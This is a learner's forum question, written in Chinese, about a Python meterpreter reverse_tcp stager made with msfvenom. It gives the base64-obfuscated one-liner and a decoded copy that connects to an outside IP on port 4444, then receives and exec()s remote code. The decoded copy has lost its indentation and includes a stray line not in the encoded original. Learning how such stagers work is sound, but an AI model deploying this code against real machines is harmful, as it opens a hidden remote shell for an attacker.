我正在接受鹦鹉安全性和python的道德黑客培训。 我使用msfvenom -p python / meterpreter / reverse_tcp,它会创建一个pyw文件,并与您的计算机隐藏连接。因此,我分析了下面粘贴给您的代码:
import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE4NS4yMjAuMTAxLjM0Jyw0NDQ0KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==')))
它以base64编码。在我解码后,该脚本出现:
import socket, struct, time
for x in range(10):
try:
s = socket.socket(2, socket.SOCK_STREAM)
s.connect(('185.220.101.34', 4444))
f = socket.socket()
break
except:
time.sleep(5)
l = struct.unpack('>I', s.recv(4))[0]
d = s.recv(l)
while len(d) < l:
d += s.recv(l - len(d))
exec(d, {'s': s})
我听不懂.. 为什么套接字参数中有数字“ 2”?该文档说:使用给定的地址族创建一个新的套接字。那么,有2个住宿...? 然后,您能解释一下time.sleep(5)之后的那部分,所以从l = struct.unpack ....到exec(d,{'s':s})吗?我不知道它是如何工作的,以及che代码在这部分上的作用。 预先感谢!